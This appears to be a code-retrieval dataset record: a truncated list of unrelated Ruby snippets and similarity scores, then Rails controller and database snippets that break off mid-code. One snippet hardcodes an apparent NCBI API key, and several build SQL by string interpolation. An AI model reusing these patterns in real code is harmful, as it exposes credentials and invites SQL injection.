df.map_tile_at(r.x1+f[:x].to_i, r.y1+f[:y].to_i, r.z1+f[:z].to_i)\n if (f[:bld_id] and not df.building_find(f[:bld_id]))\n df.add_announcement(\"AI: fix furniture #{f[:item]} in #{r.type} #{r.subtype}\", 7, false) { |ann| ann.pos = t }\n f.delete :bld_id\n @tasks << [:furnish, r, f]\n end\n if f[:construction]\n try_furnish_construction(r, f, t)\n end\n }\n # tantrumed building\n if r.misc[:bld_id] and not r.dfbuilding\n df.add_announcement(\"AI: rebuild #{r.type} #{r.subtype}\", 7, false) { |ann| ann.pos = r }\n r.misc.delete :bld_id\n construct_room(r)\n end\n end\n end", "def kawabanga?(rarity)\n (0..rand(0...100)).include?(100 - rarity)\nend", "def body_part\n [\"heart\", \"eye\", \"stomach\", \"neck\", \"leg\", \"shoulder\", \"chest\"].sample\nend", "def shape_check(a,b,c,d,e)\n shape = [@board[a[0]][a[1]],\n\t\t\t@board[b[0]][b[1]],\n\t\t\t@board[c[0]][c[1]],\n\t\t\t@board[d[0]][d[1]],\n\t\t\t@board[e[0]][e[1]],] \n\treturn shape.count('x') == 5\t\t\n end", "def checkroom(r)\n case r.status\n when :plan\n # moot\n when :dig\n # designation cancelled: damp stone etc\n r.dig\n when :dug, :finished\n # cavein / tree\n r.dig\n # tantrumed furniture\n r.layout.each { |f|\n next if f[:ignore]\n if f[:bld_id] and not df.building_find(f[:bld_id])\n df.add_announcement(\"AI: fix furniture #{f[:item]} in #{r.type} #{r.subtype}\", 7, false) { |ann| ann.pos = [r.x1+f[:x].to_i, r.y1+f[:y].to_i, r.z1+f[:z].to_i] }\n f.delete :bld_id\n @tasks << [:furnish, r, f]\n end\n }\n # tantrumed building\n if r.misc[:bld_id] and not r.dfbuilding\n df.add_announcement(\"AI: rebuild #{r.type} #{r.subtype}\", 7, false) { |ann| ann.pos = r }\n r.misc.delete :bld_id\n construct_room(r)\n end\n end\n end", "def collision? args\n #The minimum area enclosed by the center of the ball and the 2 corners of the block\n #If the area ever drops below this value, we know there is a collision\n min_area = ((@block_size * 3) * args.state.ball.radius) / 2\n\n #https://www.mathopenref.com/coordtrianglearea.html\n ax = @x1\n ay = @y1\n bx = @x2\n by = @y2\n cx = args.state.ball.center.x\n cy = args.state.ball.center.y\n\n current_area = (ax*(by-cy)+bx*(cy-ay)+cx*(ay-by))/2\n\n collision = false\n if @rotation >= 0\n if (current_area < min_area &&\n current_area > 0 &&\n args.state.ball.center.y > @y1 &&\n args.state.ball.center.x < @x2)\n\n collision = true\n end\n else\n if (current_area < min_area &&\n current_area > 0 &&\n args.state.ball.center.y > @y2 &&\n args.state.ball.center.x > @x1)\n\n collision = true\n end\n end\n\n return collision\n end", "def check_right_eye\n\t\t\tif @right_eye_width >= MIN_EYE_WIDTH and @right_eye_width < (@left_eye_width + 1)\t\n\t\t\t\treturn true if check_mouth\n\t\t\tend\n\t\t\treturn false\n\t\tend", "def valid?\n\t\tarea != 0\n\tend", "def body_allowed?\n @status.allows_body? && @request_method.allows_body?\n end", "def is_a_bust?\n score > 21\n end", "def this_one_should_fail_randomly?\n (rand * 5).round == 0\n end", "def add_asteroid(asteroid = nil)\n if asteroid\n @asteroids << asteroid\n else\n @asteroids << BigAsteroid.new([rand(@screen.w),rand(@screen.h)], rand(360), rand(50)+30, self)\n end\n end", "def narrative\n if valid\n route[:legs].first[:maneuvers].map { |maneuver| maneuver[:narrative] }\n end\n end", "def note_size_requires_roll?\n @note.size == 0 || (@maxsize > 0 && @note.size > @maxsize)\n end", "def done\n # Let's find the screen position of the particle\n pos = box2d.body_coord(body)\n # Is it off the bottom of the screen?\n return false unless pos.y > box2d.height\n\n kill_body!\n true\n end", "def body_count\n body.length\n end", "def sample_is?(number)\n @shot_sample == number\n end", "def safe?\n #Check the curr room hazard free \n if !hazardRoom\n #Check that it has rooms\n if roomAdj\n for i in 0...roomAdj.length\n #Return false if hazards exist inside\n adjRoomNumber=roomAdj.to_a[i].number-1\n if @@hazardRoom[adjRoomNumber]\n return false\n end\n end \n end\n else \n return false\n end\n \n return true\n end", "def bodies_visible?\n @debug_bodies\n end", "def bodies_visible?\n @debug_bodies\n end", "def has_multiple_hands\n return 1 if @hands.length > 1\n return nil\n end", "def is_ball_mine?\n \treturn @agentInfo.getIsBallMine\n end", "def any_damage? \n [@hp_damage, @mp_damage, @tp_damage, @hp_drain, @mp_drain].any? do |result|\n result != 0\n end\n end", "def square?\n height == width if !(width.blank? && height.blank?)\n end", "def is_legal?()\n temp_harbors =['brick', 'generic', 'generic', 'generic', 'generic', 'sheep', 'stone', 'wheat', 'wood']\n sorted_harbors = @harbors.sort\n\n #TEST TOTAL ROLLS#\n all_rolls = [6, 6, 8, 8, 2, 3, 3, 4, 4, 5, 5, 9, 9, 10, 10, 11, 11, 12]\n temp_rolls = []\n # extracts the rolls from board\n # -2 because the desert square doesn't have a roll and it is last in the array\n for i in (0..@board.length-2)\n temp_rolls << @board[i][1]\n end\n\n temp_rolls = temp_rolls.sort\n all_rolls = all_rolls.sort\n\n\n\n #TEST RESOURCE AMOUNT#\n all_resources = ['forest', 'forest', 'forest', 'forest', 'brick', 'brick', 'brick', 'wheat', 'wheat', 'wheat', 'wheat', 'sheep', 'sheep', 'sheep', 'sheep', 'stone', 'stone', 'stone']\n temp_resources = []\n # -2 because the desert square isn't a resource and it is last in the array\n for i in (0..@board.length-2) \n temp_resources << @board[i][2]\n end\n\n temp_resources = temp_resources.sort\n all_resources = all_resources.sort\n\n\n #TEST SPECIAL ROLLS#\n # special rolls are in first four locations\n for loc in (0..3)\n for other_loc in (0..3)\n return false if GameControl.neighbors(@board[loc][0]).include?(@board[other_loc][0]) \n end\n end\n\n return false unless temp_rolls == all_rolls\n return false unless temp_harbors == sorted_harbors\n return false unless temp_resources == all_resources\n return true\n end", "def valid?\n @valid ||= begin\n @error_message = ''\n if !@ball1 || !in_range(@ball1)\n @error_message = 'The 1st ball knocked wrong number of pins'\n return\n end\n if (!strike? && !@ball2) || !in_range(@ball2)\n @error_message = 'The 2nd ball knocked wrong number of pins'\n return\n end\n if !strike? && !in_range(@ball1 + @ball2)\n @error_message = 'The sum of knocked pins is wrong'\n return\n end\n true\n end\n end", "def rotten?\n @hatched > 3 ? true : false\n end", "def answered?\n !body.blank?\n end", "def has_response_body?\n @raw_link.media_type != \"null\"\n end", "def can_go_on_ride(height, weight)\n if height > 120 && weight <= 200\n return true\n else\n return false\n end\nend", "def has_rained?\n amount_of_rain > 0.5\n end", "def irregular?\n false\n end", "def is_boundary?(); @type == GRT_BOUNDARY; end", "def is_molar_quantity?\n denominator_quantities == [:amount_of_substance]\n end", "def bodiless?\n\t\treturn self.extended_reply? ||\n\t\t\tself.body.nil? ||\n\t\t\tHTTP::BODILESS_HTTP_RESPONSE_CODES.include?( self.status )\n\tend", "def isValid\n # check that the amino acid is complete\n nonHydrogenAtoms = self.atoms.select{|atom| atom.atom != \"H\"}\n if (nonHydrogenAtoms.size == AMINO_ACID_SIZES[self.resname])\n @isvalid = true\n end\n puts \"ISVALID : #{self.isvalid} #{nonHydrogenAtoms.size} \"\n end", "def does_it_fit?(book, box)\n max_weight = 10\n book + box <= max_weight\n end", "def handleNoninSequence(n,seq)\n @mon.synchronize do\n @alarms = seq[:alarms]\n @spO2 = seq[:SpO2]\n @heartRate = seq[:heartRate]\n @greenp = seq.include?(:greenp) ? seq[:greenp].size : 0\n @redp = seq.include?(:redp) ? seq[:redp].size : 0\n @cond.broadcast\n lightYellowLED(@greenp > 0)\n end\n end", "def check_walls(fish)\n rtn = false\n rangeStates = {}\n if fish.direction.x > 0\n rangeStates['xp'] = true if fish.position.x+0.04+fish.direction.x*0.2 >= @width\n else\n rangeStates['xn'] = true if fish.position.x+0.04+fish.direction.x*0.2 <= -@width\n end\n if fish.direction.y > 0\n rangeStates['yp'] = true if fish.position.y+0.04+fish.direction.y*0.2 >= @height\n else \n rangeStates['yn'] = true if fish.position.y+0.04+fish.direction.y*0.2 <= -@height\n end\n if fish.direction.z > 0\n rangeStates['zp'] = true if fish.position.z+0.04+fish.direction.z*0.2 >= @depth\n else\n rangeStates['zn'] = true if fish.position.z+0.04+fish.direction.z*0.2 <= -@depth\n end \n if (rangeStates['xp'] or rangeStates['yp'] or rangeStates['zp'] or\n rangeStates['xn'] or rangeStates['yn'] or rangeStates['zn'])\n rtn = true\n if fish.turn_path == nil\n turn_type = nil \n if rangeStates['xp'] and rangeStates['zp'] or rangeStates['xn'] and rangeStates['zp']\n turn_type = SharpRight\n if rangeStates['yp']\n SpiralRightUp \n elsif rangeStates['yn']\n SpiralRightDown\n end\n elsif rangeStates['xn'] and rangeStates['zn'] or rangeStates['xp'] and rangeStates['zn']\n turn_type = SharpLeft\n if rangeStates['yp']\n SpiralLeftUp \n elsif rangeStates['yn']\n SpiralLeftDown\n end\n else\n turn_type = SpiralLeftDown\n end\n fish.setup_turn(Avoiding,turn_type)\n end\n end\n rtn\n end", "def has_met_requirement?\n yeas >= required_votes\n end", "def any_pears?\n # code to check if tree has any oranges goes here\n @pears.length > 0\n end", "def consistent?\n return spectralRadius < 1.0\n end", "def right_regular?\n all? { |r| r.right_regular? }\n end", "def empty?\n #Check whether any hazard exist\n if !hazardRoom\n return true\n end\n return false \n end", "def check_bboxes_are_bad(bboxes)\n bboxes.each do |bbox|\n amf_content \"whichways\", \"/1\", bbox\n post :amf_read\n assert_response :success\n amf_parse_response\n\n # pass the response back to the caller's block to be tested\n # against what the caller expected.\n map = amf_result \"/1\"\n yield map, bbox\n end\n end", "def hand?\n @cards_by_score.length == 5\n end", "def body?\n HTTY::Request::METHODS_SENDING_BODY.include? method\n end", "def isdead\n @box.top > 480 && @box.right < 0\n end", "def is_enough_space_room_north?\r\n return true if NARROW_BETWEEN_ROOM_AND_AREA_SIZE < @room.y1 - @y1\r\n return false\r\n end", "def empty?\n body.nil? || ( body.respond_to?(:size) && body.size == 0 )\n end", "def three_of_a_kind?(roll)\n false\nend", "def hambriento?\n # Los nombres de los metodos pueden terminar en \"?\".\n # Generalmente, hacemos esto si el método debe\n # devolver verdadero o falso, como esto:\n @panzaLlena <= 2\n end", "def hambriento?\n # Los nombres de los metodos pueden terminar en \"?\".\n # Generalmente, hacemos esto si el método debe\n # devolver verdadero o falso, como esto:\n @panzaLlena <= 2\n end", "def valid_annotation?\n !(self.queued_for_deletion || self.study.queued_for_deletion || self.publishing)\n end", "def body_contains\n return @body_contains\n end", "def validate_accession_number(accession_no,seq_type)\n is_valid_accession_no = false\n # https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?db=protein&id=AEE34859.1&api_key=e2eded7b94c28c0734a03b44d4a2d5a15308\n # check NCBI. to determine the accession_no is correct, grap the origin aa sequence and compare\n # documents about ncbi api\n # https://www.ncbi.nlm.nih.gov/books/NBK25500/#_chapter1_Downloading_Document_Summaries_\n # https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?&api_key=db1a6c70014467857721f83996c2c9d4a207&db=protein&id=AEE34859.1\n api_key = \"db1a6c70014467857721f83996c2c9d4a207\"\n ncbi_api = nil\n if seq_type == \"aa\"\n ncbi_api = \"https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?api_key=#{api_key}&db=protein&id=#{accession_no}\"\n elsif seq_type == \"nt\"\n ncbi_api = \"https://eutils.ncbi.nlm.nih.gov/entrez/eutils/epost.fcgi?api_key=#{api_key}&db=nuccore&id=#{accession_no}\"\n end\n\n ncbi_res = open(ncbi_api) # StringIO object\n if ncbi_res.status.include? \"200\"\n doc = Nokogiri::XML(ncbi_res.read)\n if doc.xpath('//ERROR').length == 0\n\n is_valid_accession_no = true\n\n end\n end\n\n return is_valid_accession_no\n\n end", "def full?\n available_squares.empty?\n end", "def verify_params(params)\n return false if params['Body'].to_s.empty?\n return false if params['Body'].to_s.bytes.size > 1600\n return false unless /\\+\\d+$/.match(params['To'])\n true\n end", "def can_win_nim(n)\n if n < 4\n return true\n end\n\n target = n-4\n \n return !(target % 2 == 0 || target % 3 == 0 || target % 5 == 0)\nend", "def validate_body_versus_content_length!\n unless header?(\"content-length\")\n puts \"Http2: No content length given - skipping length validation.\" if @debug\n return nil\n end\n\n content_length = header(\"content-length\").to_i\n body_length = @body.bytesize\n\n puts \"Http2: Body length: #{body_length}\" if @debug\n puts \"Http2: Content length: #{content_length}\" if @debug\n\n raise \"Body does not match the given content-length: '#{body_length}', '#{content_length}'.\" if body_length != content_length\n end", "def check_configuration\n raise Nimbus::ConfigurationError, \"The mtry sample size must be smaller than the total SNPs count.\" if @tree_SNP_sample_size > @tree_SNP_total_count\n end", "def celestialBody?\n\t\trawString.start_with? 'c'\n\tend", "def shots_missed\n self.positions.where(water: true, shooted: true).count\n end", "def total_mass\n sum = 0\n @bodies.each{ |body| body[:mass] += sum}\n sum\n end", "def suitable_for_any?\n \treturn self.disciplines.count > 0\n end", "def expects_none?\n count_specified? ? matches_count?(0) : false\n end", "def confirm_pur_number_warning()\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n wait_for_landing_page_load\n gsm_error_message.should_exist\n invalid_gc_msg = gsm_error_message.inner_text\n invalid_gc_msg.should match(\"Please enter a valid loyalty card number\")\n end", "def havent_or_hasnt(number)\n if number == 1\n \"hasn't\"\n else\n \"haven't\"\n end\n end", "def validate_roid(roid)\n raise \"roid must be an Array! #{roid}\" if not roid.kind_of? Array\n raise \"roid cannot be empty! #{roid}\" if not roid.size>0\n end", "def valid?\n sides.none?{|side| side <= 0} && legal?\n end", "def mandate_given?\n !self.given_mandates.empty?\n end" ]
[ "0.5769949", "0.5396754", "0.52232695", "0.510508", "0.5100115", "0.50642204", "0.50398177", "0.5031931", "0.50051504", "0.49749032", "0.49733672", "0.49694163", "0.49031928", "0.4894748", "0.48898667", "0.48831612", "0.48384365", "0.47926685", "0.479218", "0.4764188", "0.47492978", "0.4720739", "0.4688155", "0.4688155", "0.4684686", "0.46785423", "0.4667205", "0.46485826", "0.46451125", "0.4641718", "0.46372116", "0.46360767", "0.46296716", "0.4618585", "0.46115184", "0.4586655", "0.45805565", "0.4577213", "0.45730367", "0.45715287", "0.45713955", "0.4556691", "0.45459387", "0.45329523", "0.45308903", "0.45278838", "0.4527525", "0.45205563", "0.45205563", "0.45195317", "0.45184907", "0.45179287", "0.45123333", "0.4503145", "0.44962943", "0.44932562", "0.44857177", "0.4475826", "0.44679967", "0.44649106", "0.4462271", "0.44562864", "0.4448078", "0.44469532", "0.44431037", "0.44418982", "0.44378632", "0.4436804", "0.44354987", "0.44321263", "0.44318613", "0.4431727", "0.44298145", "0.4421504", "0.44201216", "0.44200337", "0.44159797", "0.44149265", "0.441339", "0.43981394", "0.4389742", "0.4389742", "0.4386942", "0.43860525", "0.43750677", "0.43691716", "0.43691322", "0.4365667", "0.43655434", "0.4362056", "0.43602893", "0.4355102", "0.435492", "0.43540335", "0.43483895", "0.43471423", "0.43466556", "0.43370107", "0.43340284", "0.43337542" ]
0.5127236
3
Add new resonance to database (if not exists) body_number: number of new body resonance: array of resonance values type: type of resonance
def add(body_number, resonance, type = 1) if !self.check?(body_number) File.open(@db_file, 'a+') do |db| db.puts(body_number.to_s+';'+type.to_s+';'+resonance.inspect) end true else false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def saveReceipt\n\t\tcurrent_time = DateTime.now\n\t\tReceipt.create!(:concept => params[:tipofactura],\n\t\t\t\t\t\t\t:subtotal => params[:subtotal],\n\t\t\t\t\t\t\t:total => params[:pagototal],\n\t\t\t\t\t\t\t:iva => params[:iva],\n\t\t\t\t\t\t\t:xml => params[:rawxml],\n\t\t\t\t\t\t\t:users_id => current_user.id,\n\t\t\t\t\t\t\t:created_at => current_time,\n\t\t\t\t\t\t\t:updated_at => current_time,\n\t\t\t\t\t\t\t:user_email => current_user.email,\n\t\t\t\t\t\t\t:emisor => params[:emisor],\n\t\t\t\t\t\t\t:rfcEmisor => params[:rfcemisor],\n\t\t\t\t\t\t\t:receptor => params[:receptor],\n\t\t\t\t\t\t\t:rfcReceptor => params[:rfcreceptor])\n\t\tredirect_to action: 'viewInvoices' , email: current_user.email\n\tend", "def create\n @requerimiento = Requerimiento.new(params[:requerimiento])\n @requerimiento.numero = Requerimiento.maximum(:numero) + 1\n \n respond_to do |format|\n if @requerimiento.save\n format.html { redirect_to \"#{requerimientos_path}/#{@requerimiento.numero}\", notice: 'Requerimiento was successfully created.' }\n format.json { render json: @requerimiento, status: :created, location: @requerimiento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requerimiento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invoice = Invoice.new(params[:invoice])\n @invoice.number = (Invoice.maximum(:number) || 0) + 1\n\n respond_to do |format|\n if @invoice.save\n Repair.unassigned(@invoice.store_id, @invoice.issued).each do |repair|\n repair.invoice_id = @invoice.id\n repair.save!\n end\n @invoice.update_total_and_save!\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "def insert_reward_transaction\n limit_row = \" LIMIT #{@limit_export}\" unless limit_export.blank?\n @client.execute(\"select TOP #{@limit_export} * from HstvbofqAssignmentReward INNER JOIN HstvbofqAssignment\n ON HstvbofqAssignmentID = HstvbofqAssignmentReward.FKHstvbofqAssignmentID where Proposed ='true' AND QueueRewards = 'true'\").each do |rs|\n\n assingment_date_time = rs[\"AssignmentDateTime\"]\n activity_datetime = rs[\"ActivityDateTime\"]\n program_id = rs[\"FKHstvbofqRewardProgramID\"]\n store_id = rs['FKStoreID']\n\n reward_relevant = Reward.where(:bpid => program_id).first\n reward_id = reward_relevant.id unless reward_relevant.blank?\n restaurant_id = Restaurant.where(:ncr_aloha_loyalty_store_id => store_id.to_s).first\n\n\n ## insert the count of the reward summaries\n unless restaurant_id.blank? and reward_id.blank?\n # update the summary\n rsum = RewardSummary.where(\"transaction_date = date('#{assingment_date_time}') and restaurant_id = ?\", restaurant_id.id).first\n if rsum.blank?\n RewardSummary.create(:transaction_date => assingment_date_time.to_date,\n :total => 1, :restaurant_id => restaurant_id.id, :chain_id => @chain_id)\n else\n rsum.update_attribute(:total, rsum.total + 1)\n end\n\n ## insert the detail here\n ActiveRecord::Base.connection.execute(\"\n INSERT INTO reward_transaction_ncrs\n (activity_datetime,assignment_datetime, code, reward_id, chain_id, restaurant_id, created_at, updated_at)\n VALUES\n ('#{activity_datetime}','#{assingment_date_time}','',\n'#{reward_id}','#{@chain_id}','#{restaurant_id.id}', '#{Time.now}', '#{Time.now}')\n \")\n end\n end\n end", "def add_recurring_data(request, options)\r\n request.Set(RocketGate::GatewayRequest::REBILL_FREQUENCY, options[:rebill_frequency])\r\n request.Set(RocketGate::GatewayRequest::REBILL_AMOUNT, options[:rebill_amount])\r\n request.Set(RocketGate::GatewayRequest::REBILL_START, options[:rebill_start])\r\n end", "def create\n @receipt = Receipt.new(receipt_params)\n @qnt_parcela = receipt_params[:installments].to_i\n \n #se for somente uma parcela ele só salva uma vez\n if @qnt_parcela == 1\n \n \n respond_to do |format|\n \n if @receipt.save\n format.html { redirect_to @receipt, notice: 'Recebimento criado com sucesso.' }\n format.json { render :show, status: :created, location: @receipt }\n else\n format.html { render :new }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n else\n #se tiver mais de uma parcela ele lança a quantidade de vezes no sistema\n if @qnt_parcela > 1\n @valor_total = receipt_params[:value_doc].to_f\n @resultado = @valor_total / @qnt_parcela\n @resultado = (@resultado).round(2)\n @data_vencto = receipt_params[:due_date]\n end\n \n while @qnt_parcela > 0\n @conta_parc = @conta_parc.to_i + 1 \n @data_vencto = @data_vencto.to_date + 1.month \n @receipt.discription = receipt_params[:discription] + ' Parc. ' + @conta_parc.to_s\n @receipt.due_date = @data_vencto\n @receipt.value_doc = @resultado\n \n if @receipt.save\n #só vai fazer o redirect quando finalizar\n else\n format.html { render :new }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n @qnt_parcela = @qnt_parcela - 1\n @receipt = Receipt.new(receipt_params) \n end \n redirect_to receipts_path\n flash[:success] = 'Parcelamento realizado com sucesso!'\n end \n end", "def add_restaurant(db, name, type, wait_time, phone)\n db.execute(\"INSERT INTO restaurants (name, type, wait_time, phone) VALUES (?, ?, ?, ?)\", [name, type, wait_time, phone])\nend", "def add_answer(name, type, klass)\n self.payload += self.add_record(name, type, klass).encode\n self.answer_rr += 1\n end", "def save_invitations\n @data.each do |row|\n invi = church_phone_invitations.new(phone_number: row[0], email: row[1], user: user)\n errors.add(:base, \"Invitations: #{invi.errors.full_messages.join(', ')}\") unless invi.save\n end\n return raise ActiveRecord::RecordInvalid.new(self) if errors.any?\n update_column(:qty, @data.count)\n end", "def create\n get_current_user\n @types = Type.find_by_typename('invoice_terms')\n @terms = 'none'\n \n @terms = @types.type_value_string \n \n \n @shipments = Invoice.get_ready_shipments(@current_user.id, params[:customer_id], params[:start_date], params[:stop_date])\n @count = 0\n \n @shipments.each do |sh|\n @invoice = Invoice.new(params[:invoice])\n @invoice.shipment_id = sh.id\n @invoice.ship_amount = sh.ship_amount\n @invoice.ship_charge = sh.shipping_charge\n @invoice.total_amount = sh.ship_amount.to_f + sh.shipping_charge.to_f\n @types = Type.find_by_typename('invoice_number')\n \n @invno = @types.type_value_integer + 1\n @types.type_value_integer = @invno\n @types.save\n \n @invoice.invoice_number = @invno\n @invoice.invoice_status = 'NEW'\n @invoice.invoice_terms = @terms\n @invoice.invoice_date = Date.today.to_date\n @invoice.user_id = @current_user.id \n @count += 1\n @invoice.save\n \n @shipment = Shipment.find(sh.id)\n @shipment.ship_status = 'invoiced'\n @shipment.save\n end\n\n respond_to do |format|\n message = @count.to_s + ' - Invoice(s) were successfully created.'\n format.html { redirect_to('/invoice_generator', :notice => message) }\n format.xml { render :xml => @invoice, :status => :created, :location => @invoice }\n\n end\n end", "def create\n @requisition = Requisition.new(requisition_params)\n respond_to do |format|\n if @requisition.save\n # Send to the Business Insight Model\n RestClient::Resource.new(APP_CONFIG[:insight_url], :verify_ssl => false, :user => APP_CONFIG[:insight_username], :password => APP_CONFIG[:insight_password]).post({\n \"modelId\" => \"Resupply_Ky06ggwO\",\n \"measures\" => [{\n \"name\" => \"TotalCost\",\n \"value\" => @requisition.amount\n }],\n \"identifierValue\" => @requisition.id,\n \"correlationValue\" => @requisition.id,\n \"eventTime\" => Time.now.strftime('%Y-%m-%dT%H:%M:%S'),\n \"milestoneId\" => \"RequsitionRaised\",\n \"dimensions\" => [ {\n \"name\" => \"Location\",\n \"value\" => @requisition.loc\n } ]\n }.to_json, :content_type=>'application/json')\n format.html { redirect_to requisitions_url, notice: 'Requisition was successfully created.' }\n format.json { render :show, status: :created, loc: @requisition }\n else\n format.html { render :new }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @receivable = current_user.receivables.new(receivable_params)\n @receivable[:secure] = true\n received_amount = Company.where(id: @receivable[:company_id]).select(:received_amount)\n comp_received_amount = received_amount[0].received_amount + @receivable[:receiveable_amount]\n\n bill_received_amount = Billentry.where(id: @receivable[:bill_no]).select(:received_amount)\n addbill_received_amount = (bill_received_amount[0].received_amount.present? ? bill_received_amount[0].received_amount : 0) + (@receivable[:receiveable_amount].present? ? @receivable[:receiveable_amount] : 0)\n respond_to do |format|\n if @receivable.save\n Company.where(id: @receivable[:company_id]).update(received_amount: comp_received_amount)\n Billentry.where(id: @receivable[:bill_no]).update(received_amount: addbill_received_amount)\n format.html { redirect_to @receivable, notice: 'Receivable was successfully created.' }\n format.json { render :show, status: :created, location: @receivable }\n else\n format.html { render :new }\n format.json { render json: @receivable.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_booking_extra(extra_id, quantity)\n\n booking_extras = self.booking_extras.select do |booking_extra|\n booking_extra.extra_id == extra_id\n end\n\n if booking_extras.empty?\n if extra = ::Yito::Model::Booking::BookingExtra.get(extra_id)\n extra_translation = extra.translate(customer_language)\n booking_deposit = SystemConfiguration::Variable.get_value('booking.deposit', 0).to_i\n extra_unit_cost = extra.unit_price(self.date_from, self.days)\n transaction do\n # Create the booking extra line\n booking_extra = BookingDataSystem::BookingExtra.new\n booking_extra.booking = self\n booking_extra.extra_id = extra_id\n booking_extra.extra_description = extra.name\n booking_extra.extra_description_customer_translation = extra_translation.nil? ? extra.name : extra_translation.name\n booking_extra.quantity = quantity\n booking_extra.extra_unit_cost = extra_unit_cost\n booking_extra.extra_cost = extra_unit_cost * quantity\n booking_extra.save\n # Updates the booking\n self.extras_cost += (extra_unit_cost * quantity)\n self.calculate_cost(false, false)\n self.save\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'add_booking_extra',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.booking_news_feed.created_booking_extra(extra_id, quantity),\n attributes_updated: {extra_id: extra_id, quantity: quantity}.merge({booking: newsfeed_summary}).to_json)\n end\n end\n end\n\n end", "def add(new_body)\n @bodies << new_body\n @bodies\n end", "def add_referrals(referrals)\n\t\tif referrals != nil\n\t\t\treferrals.each do |r|\n\t \t\tReferral.create!(student_id: self.id, referral_type: r.to_i)\n\t \t end\n\t \tend\n\tend", "def add_remarks\n Remark.create(:user_id=>self.updated_by.nil? ? self.user_id : self.updated_by, :status => self.status, :department_id=>Department.current_department, :remarkable_id=>self.id, :remarkable_type=>self.class,:text=>self.notes)\n end", "def create\n \n @installment_detail = InstallmentDetail.new(installment_detail_params)\n\n respond_to do |format|\n if @installment_detail.save\n @franchisee = @installment_detail.franchisee\n #InstallmentDetail.franchisee_royalty(@installment_detail)\n @franchisee.franchisee_agreement.update(no_of_installment: InstallmentDetail.where(franchisee_id: @franchisee.id).count.to_i)\n format.html { redirect_to installment_detail_url(id: @installment_detail.franchisee_id), notice: 'Installment detail was successfully created.' }\n format.json { render :show, status: :created, location: @installment_detail }\n else\n format.html { render :new }\n format.json { render json: @installment_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_reciever(db, name, gift, cost)\n db.execute(\"INSERT INTO personal_gift (name, gift, cost, purchased_id) VALUES (?, ?, ?, 2)\", [name, gift, cost])\nend", "def insert_receipt\n limit_row = \" LIMIT #{@limit_export}\" unless limit_export.blank?\n\n results = @client.execute(\"select TOP #{@limit_export} * from HstvbofqAssignment where FKStoreID is not null Order by HstvbofqAssignmentID desc\").each# do |rs|\n results.each do |rs|\n assingnment_id = rs[\"HstvbofqAssignmentID\"]\n user_id = rs[\"FKvbofqMemberAccountID\"] # this is user id from ncr\n status = rs[\"Status\"]\n created_at = rs[\"AssignmentDateTime\"]\n updated_at = rs[\"AssignmentDateTime\"]\n\n card_numbers = @client.execute(\"select CardNumber from vbofqMemberAccount where vbofqMemberAccountID = #{user_id}\").each\n ncr_profile = NcrProfile.where(\"card_number = ?\",card_numbers.first[\"CardNumber\"]) unless card_numbers.blank?\n user_id = ncr_profile.blank?? nil : NcrProfile.user_id\n\n # if the data exist do nothing\n if NcrReceiptData.where(:assingnment_id => assingnment_id).first.blank? and user_id.present?\n ActiveRecord::Base.connection.execute(\"INSERT INTO ncr_receipts\n (assingnment_id, chain_id,user_id,status,created_at, updated_at)\n VALUES\n ('#{assingnment_id}', '#{@chain_id}', '#{user_id}','#{status}','#{created_at}', '#{updated_at}' )\"\n )\n\n\n puts \"select * from HstvbofqCheck where FKHstvbofqAssignmentID = #{assingnment_id}\"\n res = @client.execute(\"select * from HstvbofqCheck where FKHstvbofqAssignmentID\n = #{assingnment_id}\").each do |rs|\n date_of_business = rs[\"DateOfBusiness\"]\n time_stamp = date_of_business.to_time\n store_id = rs[\"FKStoreID\"]\n status = rs[\"Status\"]\n cashier = rs[\"FKEmployeeID\"].to_s + rs[\"EmployeeName\"].to_s\n subtotal = rs[\"CheckTotal\"]\n receipt_number = rs[\"CheckNumber\"]\n restaurant = Restaurant.where(:ncr_aloha_loyalty_store_id => store_id.to_s).first\n\n ActiveRecord::Base.connection.execute(\"INSERT INTO ncr_receipt_transactions\n (issue_date, time_stamp, restaurant_id, cashier,status, subtotal, receipt_number)\n VALUES\n(\n '#{date_of_business}','#{time_stamp}','#{restaurant.id}', '#{cashier}', '#{status}','#{subtotal}',\n'#{receipt_number}'\n)\n\") unless restaurant.blank?\n end\n end\n end\n end", "def create\n \n @routing_sheet = RoutingSheet.new(params[:routing_sheet])\n @routing_sheet.employee_id=current_user.employee.id #Seteo el user logueado\n @routing_sheet.routing_sheet_state_id = 1 ## Por defecto el estado es \"En Proceso\", id: 1\n @routing_sheet.total_amount=$total\n @start_value=ActiveRecord::Base.connection.execute(\"select start_value from routing_sheets_id_seq\").first[\"start_value\"]\n $number=ActiveRecord::Base.connection.execute(\"select last_value from routing_sheets_id_seq\").first[\"last_value\"]\n #La primera ves que se registra una hoja de ruta se setea como numero 1\n if(@start_value.to_i==$number.to_i) \n @first=RoutingSheet.first\n if(!@first.nil?) \n $number= 2\n else\n $number= 1\n end\n \n @routing_sheet.number= $number.to_i #\n else\n @routing_sheet.number=$number.to_i + 1\n end\n respond_to do |format|\n if $products.empty?\n format.html { redirect_to new_routing_sheet_path, notice: 'Prohibido guardar sin agregar algun producto..' }\n format.json { head :no_content }\n else\n begin\n RoutingSheet.transaction do\n @routing_sheet.save #Guardo la cabecera\n $products.each do |product| #Guardo los detalles\n @routing_sheet_detail=RoutingSheetDetail.new\n @routing_sheet_detail.routing_sheet_id=@routing_sheet.id\n @routing_sheet_detail.product_id=product.id\n \n @routing_sheet_detail.save\n 